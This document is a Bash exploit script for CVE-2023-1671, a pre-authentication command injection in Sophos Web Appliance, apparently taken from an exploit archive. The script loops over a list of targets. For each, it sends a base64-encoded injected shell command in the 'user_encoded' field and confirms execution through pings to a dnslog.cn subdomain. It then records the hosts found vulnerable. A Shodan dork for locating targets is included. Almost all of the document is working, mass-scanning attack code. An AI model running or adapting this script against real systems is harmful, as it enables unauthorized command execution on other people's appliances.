7e3a257da8
11 changes to exploits/shellcodes/ghdb PaperCut NG/MG 22.0.4 - Authentication Bypass KodExplorer 4.49 - CSRF to Arbitrary File Upload Mars Stealer 8.3 - Admin Account Takeover Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution Sophos Web Appliance 4.3.10.4 - Pre-auth command injection Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path OCS Inventory NG 2.3.0.0 - Unquoted Service Path Wondershare Filmora 12.2.9.2233 - Unquoted Service Path Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
94 lines
No EOL
5.3 KiB
Bash
Executable file
94 lines
No EOL
5.3 KiB
Bash
Executable file
#!/bin/bash
|
|
# Exploit Title: Sophos Web Appliance 4.3.10.4 - Pre-auth command injection
|
|
# Exploit Author: Behnam Abasi Vanda
|
|
# Vendor Homepage: https://www.sophos.com
|
|
# Version: Sophos Web Appliance older than version 4.3.10.4
|
|
# Tested on: Ubuntu
|
|
# CVE : CVE-2023-1671
|
|
# Shodan Dork: title:"Sophos Web Appliance"
|
|
# Reference : https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
|
|
# Reference : https://vulncheck.com/blog/cve-2023-1671-analysis
|
|
|
|
|
|
|
|
TARGET_LIST="$1"
|
|
|
|
# =====================
|
|
BOLD="\033[1m"
|
|
RED="\e[1;31m"
|
|
GREEN="\e[1;32m"
|
|
YELLOW="\e[1;33m"
|
|
BLUE="\e[1;34m"
|
|
NOR="\e[0m"
|
|
# ====================
|
|
|
|
|
|
get_new_subdomain()
|
|
{
|
|
cat MN.txt | grep 'YES' >/dev/null;ch=$?
|
|
if [ $ch -eq 0 ];then
|
|
echo -e " [+] Trying to get Subdomain $NOR"
|
|
rm -rf cookie.txt
|
|
sub=`curl -i -c cookie.txt -s -k -X $'GET' \
|
|
-H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
|
|
$'http://www.dnslog.cn/getdomain.php?t=0' | grep dnslog.cn`
|
|
echo -e " [+]$BOLD$GREEN Subdomain : $sub $NOR"
|
|
fi
|
|
}
|
|
|
|
check_vuln()
|
|
{
|
|
curl -k --trace-ascii % "https://$1/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';ping $sub -c 3 #" | base64)"
|
|
|
|
req=`curl -i -s -k -b cookie.txt -X $'GET' \
|
|
-H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
|
|
$'http://www.dnslog.cn/getrecords.php?t=0'`
|
|
|
|
echo "$req" | grep 'dnslog.cn' >/dev/null;ch=$?
|
|
if [ $ch -eq 0 ];then
|
|
echo "YES" > MN.txt
|
|
echo -e " [+]$BOLD $RED https://$1 Vulnerable :D $NOR"
|
|
echo "https://$1" >> vulnerable.lst
|
|
else
|
|
echo -e " [-] https://$1 Not Vulnerable :| $NOR"
|
|
echo "NO" > MN.txt
|
|
fi
|
|
}
|
|
|
|
echo '
|
|
|
|
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██████╗███████╗
|
|
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ███║██╔════╝╚════██║
|
|
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗╚██║███████╗ ██╔╝
|
|
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝ ██║██╔═══██╗ ██╔╝
|
|
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║╚██████╔╝ ██║
|
|
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═════╝ ╚═╝
|
|
|
|
██████╗ ██╗ ██╗ ██████╗ ███████╗██╗ ██╗███╗ ██╗ █████╗ ███╗ ███╗ ██╗
|
|
██╔══██╗╚██╗ ██╔╝ ██╔══██╗██╔════╝██║ ██║████╗ ██║██╔══██╗████╗ ████║ ██╗╚██╗
|
|
██████╔╝ ╚████╔╝ ██████╔╝█████╗ ███████║██╔██╗ ██║███████║██╔████╔██║ ╚═╝ ██║
|
|
██╔══██╗ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██║██║╚██╗██║██╔══██║██║╚██╔╝██║ ▄█╗ ██║
|
|
██████╔╝ ██║ ██████╔╝███████╗██║ ██║██║ ╚████║██║ ██║██║ ╚═╝ ██║ ▀═╝██╔╝
|
|
╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
|
|
|
|
'
|
|
if test "$#" -ne 1; then
|
|
echo " ----------------------------------------------------------------"
|
|
echo " [!] please give the target list file : bash CVE-2023-1671.sh targets.txt "
|
|
echo " ---------------------------------------------------------------"
|
|
exit
|
|
fi
|
|
|
|
|
|
|
|
rm -rf cookie.txt
|
|
echo "YES" > MN.txt
|
|
for target in `cat $TARGET_LIST`
|
|
do
|
|
|
|
get_new_subdomain;
|
|
echo " [~] Checking $target"
|
|
check_vuln "$target"
|
|
done
|
|
rm -rf MN.txt
|
|
rm -rf cookie.txt |